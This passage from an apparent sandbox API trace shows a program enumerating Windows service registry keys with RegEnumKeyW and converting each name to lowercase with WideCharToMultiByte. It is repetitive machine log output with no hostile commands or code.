lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0224.524] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fvevol", cchWideChar=6, lpMultiByteStr=0x21f1850, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fvevol", lpUsedDefaultChar=0x0) returned 6 [0224.524] RegEnumKeyW (in: hKey=0x150, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0224.524] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gagp30kx", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.524] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gagp30kx", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gagp30kx", lpUsedDefaultChar=0x0) returned 8 [0224.524] RegEnumKeyW (in: hKey=0x150, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0224.524] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpsvc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0224.524] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpsvc", cchWideChar=5, lpMultiByteStr=0x21f1850, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gpsvc", lpUsedDefaultChar=0x0) returned 5 [0224.524] RegEnumKeyW (in: hKey=0x150, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0224.524] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gupdate", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0224.524] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gupdate", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gupdate", lpUsedDefaultChar=0x0) returned 7 [0224.524] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0224.524] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gupdatem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.524] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gupdatem", cchWideChar=8, lpMultiByteStr=0x21f1850, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gupdatem", lpUsedDefaultChar=0x0) returned 8 [0224.525] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0224.525] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hcw85cir", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.525] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hcw85cir", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hcw85cir", lpUsedDefaultChar=0x0) returned 8 [0224.525] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0224.525] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hdaudaddservice", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0224.525] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hdaudaddservice", cchWideChar=15, lpMultiByteStr=0x21f1850, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hdaudaddservice", lpUsedDefaultChar=0x0) returned 15 [0224.525] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0224.525] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hdaudbus", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.525] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hdaudbus", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hdaudbus", lpUsedDefaultChar=0x0) returned 8 [0224.525] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0224.525] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidbatt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0224.525] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidbatt", cchWideChar=7, lpMultiByteStr=0x21f1850, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidbatt", lpUsedDefaultChar=0x0) returned 7 [0224.525] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0224.525] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidbth", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0224.525] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidbth", cchWideChar=6, lpMultiByteStr=0x21f1ad8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidbth", lpUsedDefaultChar=0x0) returned 6 [0224.525] RegEnumKeyW (in: hKey=0x150, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0224.525] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidir", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0224.526] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidir", cchWideChar=5, lpMultiByteStr=0x21f1850, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidir", lpUsedDefaultChar=0x0) returned 5 [0224.526] RegEnumKeyW (in: hKey=0x150, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0224.526] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0224.526] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidserv", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidserv", lpUsedDefaultChar=0x0) returned 7 [0224.526] RegEnumKeyW (in: hKey=0x150, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0224.526] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidusb", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0224.526] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidusb", cchWideChar=6, lpMultiByteStr=0x21f1850, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidusb", lpUsedDefaultChar=0x0) returned 6 [0224.526] RegEnumKeyW (in: hKey=0x150, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0224.526] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hkmsvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0224.526] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hkmsvc", cchWideChar=6, lpMultiByteStr=0x21f1ad8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hkmsvc", lpUsedDefaultChar=0x0) returned 6 [0224.526] RegEnumKeyW (in: hKey=0x150, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0224.526] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegrouplistener", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0224.526] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegrouplistener", cchWideChar=17, lpMultiByteStr=0x21f1850, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="homegrouplistener", lpUsedDefaultChar=0x0) returned 17 [0224.526] RegEnumKeyW (in: hKey=0x150, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0224.526] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegroupprovider", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0224.526] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegroupprovider", cchWideChar=17, lpMultiByteStr=0x21f1ad8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="homegroupprovider", lpUsedDefaultChar=0x0) returned 17 [0224.526] RegEnumKeyW (in: hKey=0x150, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0224.526] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hpsamd", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0224.527] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hpsamd", cchWideChar=6, lpMultiByteStr=0x21f1850, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hpsamd", lpUsedDefaultChar=0x0) returned 6 [0224.527] RegEnumKeyW (in: hKey=0x150, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0224.527] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0224.527] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http", cchWideChar=4, lpMultiByteStr=0x21f1ad8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http", lpUsedDefaultChar=0x0) returned 4 [0224.527] RegEnumKeyW (in: hKey=0x150, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0224.527] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hwpolicy", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.527] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hwpolicy", cchWideChar=8, lpMultiByteStr=0x21f1850, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hwpolicy", lpUsedDefaultChar=0x0) returned 8 [0224.574] RegEnumKeyW (in: hKey=0x150, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0224.574] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="i8042prt", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.574] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="i8042prt", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="i8042prt", lpUsedDefaultChar=0x0) returned 8 [0224.574] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0224.574] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iastorv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0224.574] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iastorv", cchWideChar=7, lpMultiByteStr=0x21f1850, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iastorv", lpUsedDefaultChar=0x0) returned 7 [0224.574] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0224.574] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="idsvc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0224.575] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="idsvc", cchWideChar=5, lpMultiByteStr=0x21f1ad8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="idsvc", lpUsedDefaultChar=0x0) returned 5 [0224.575] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0224.575] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iirsp", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0224.575] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iirsp", cchWideChar=5, lpMultiByteStr=0x21f1850, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iirsp", lpUsedDefaultChar=0x0) returned 5 [0224.575] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0224.575] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ikeext", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0224.575] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ikeext", cchWideChar=6, lpMultiByteStr=0x21f1ad8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ikeext", lpUsedDefaultChar=0x0) returned 6 [0224.575] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0224.575] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="inetaccs", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.575] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="inetaccs", cchWideChar=8, lpMultiByteStr=0x21f1850, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="inetaccs", lpUsedDefaultChar=0x0) returned 8 [0224.575] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0224.575] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intelide", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.575] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intelide", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="intelide", lpUsedDefaultChar=0x0) returned 8 [0224.575] RegEnumKeyW (in: hKey=0x150, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0224.575] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intelppm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.575] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intelppm", cchWideChar=8, lpMultiByteStr=0x21f1850, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="intelppm", lpUsedDefaultChar=0x0) returned 8 [0224.575] RegEnumKeyW (in: hKey=0x150, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0224.576] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipbusenum", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0224.576] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipbusenum", cchWideChar=9, lpMultiByteStr=0x21f1ad8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ipbusenum", lpUsedDefaultChar=0x0) returned 9 [0224.576] RegEnumKeyW (in: hKey=0x150, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0224.576] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipfilterdriver", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0224.576] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipfilterdriver", cchWideChar=14, lpMultiByteStr=0x21f1850, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ipfilterdriver", lpUsedDefaultChar=0x0) returned 14 [0224.576] RegEnumKeyW (in: hKey=0x150, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0224.576] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iphlpsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.576] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iphlpsvc", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iphlpsvc", lpUsedDefaultChar=0x0) returned 8 [0224.576] RegEnumKeyW (in: hKey=0x150, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0224.576] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipmidrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0224.576] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipmidrv", cchWideChar=7, lpMultiByteStr=0x21f1850, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ipmidrv", lpUsedDefaultChar=0x0) returned 7 [0224.576] RegEnumKeyW (in: hKey=0x150, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0224.576] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipnat", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0224.576] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipnat", cchWideChar=5, lpMultiByteStr=0x21f1ad8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ipnat", lpUsedDefaultChar=0x0) returned 5 [0224.576] RegEnumKeyW (in: hKey=0x150, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0224.576] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="irenum", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0224.576] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="irenum", cchWideChar=6, lpMultiByteStr=0x21f1850, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="irenum", lpUsedDefaultChar=0x0) returned 6 [0224.576] RegEnumKeyW (in: hKey=0x150, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0224.577] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isapnp", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0224.577] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isapnp", cchWideChar=6, lpMultiByteStr=0x21f1ad8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="isapnp", lpUsedDefaultChar=0x0) returned 6 [0224.577] RegEnumKeyW (in: hKey=0x150, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0224.577] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iscsiprt", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.577] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iscsiprt", cchWideChar=8, lpMultiByteStr=0x21f1850, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iscsiprt", lpUsedDefaultChar=0x0) returned 8 [0224.577] RegEnumKeyW (in: hKey=0x150, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0224.577] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kbdclass", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.577] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kbdclass", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kbdclass", lpUsedDefaultChar=0x0) returned 8 [0224.577] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0224.577] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kbdhid", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0224.577] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kbdhid", cchWideChar=6, lpMultiByteStr=0x21f1850, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kbdhid", lpUsedDefaultChar=0x0) returned 6 [0224.577] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0224.577] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="keyiso", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0224.577] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="keyiso", cchWideChar=6, lpMultiByteStr=0x21f1ad8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="keyiso", lpUsedDefaultChar=0x0) returned 6 [0224.577] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0224.577] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksecdd", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0224.577] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksecdd", cchWideChar=6, lpMultiByteStr=0x21f1850, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ksecdd", lpUsedDefaultChar=0x0) returned 6 [0224.578] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0224.578] WideCharToMultiByte (in: 